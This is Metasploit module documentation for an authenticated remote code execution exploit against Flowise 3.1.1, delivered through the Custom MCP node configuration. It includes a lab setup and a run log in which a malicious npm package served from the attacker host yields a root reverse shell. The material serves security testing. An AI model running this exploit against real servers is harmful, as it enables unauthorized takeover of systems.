Flowise Mcp Rce - Metasploit Framework

Vulnerable Application

Flowise is an open-source UI visual tool to build LLM apps. Versions prior to 3.1.2 are vulnerable to remote code execution through the Custom MCP (Model Context Protocol) node configuration.

A docker-compose.yml using flowiseai/flowise:3.1.1 can be used to set up the test environment:

yaml

version: '3.8'

services:
  flowise-lab:
    image: flowiseai/flowise:3.1.1
    container_name: flowise-rce-v311
    ports:
      - "3000:3000"
    environment:
      - [email protected]
      - FLOWISE_PASSWORD=Password123!
    restart: always

Bring up the container:

docker compose up -d

After the container starts, browse to http://<target>:3000 and complete the mandatory initial organization setup to create the application credentials. Alternatively, use the following curl command to initialize the application with the credentials used in the scenario below:

bash

curl -X POST http://localhost:3000/api/v1/account/register \
  -H "Content-Type: application/json" \
  -d '{"user":{"name":"Admin","email":"[email protected]","credential":"Password123!"}}'

Verification Steps

Start msfconsole
use exploit/multi/http/flowise_mcp_rce
set RHOSTS <target>
set USERNAME <email>
set PASSWORD <password>
set LHOST <your_ip>
run check
run

Options

USERNAME

The Flowise account email address used to authenticate.

PASSWORD

The Flowise account password used to authenticate.

Scenarios

Flowise 3.1.1 on Docker (Linux target)

msf6 > use exploit/multi/http/flowise_mcp_rce
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(multi/http/flowise_mcp_rce) > set RHOSTS 192.0.2.1
RHOSTS => 192.0.2.1
msf6 exploit(multi/http/flowise_mcp_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/flowise_mcp_rce) > set USERNAME [email protected]
USERNAME => [email protected]
msf6 exploit(multi/http/flowise_mcp_rce) > set PASSWORD Password123!
PASSWORD => Password123!
msf6 exploit(multi/http/flowise_mcp_rce) > set LHOST 192.0.2.2
LHOST => 192.0.2.2
msf6 exploit(multi/http/flowise_mcp_rce) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf6 exploit(multi/http/flowise_mcp_rce) > check
[+] 192.0.2.1:3000 - The target appears to be vulnerable. Flowise 3.1.1 detected
msf6 exploit(multi/http/flowise_mcp_rce) > run

[*] Started reverse TCP handler on 192.0.2.2:4444
[*] Building malicious npm package tar in memory...
[+] Tar package built in memory (3584 bytes)
[*] Using URL: http://192.0.2.2:8080/random_uri
[*] Server started.
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Sending malicious MCP node config...
[+] Serving malicious tar package to 192.0.2.1 (GET /random_uri)
[*] Command shell session 1 opened (192.0.2.2:4444 -> 192.0.2.1:49926) at 2026-06-29 00:17:12 +0000
/ # whoami
root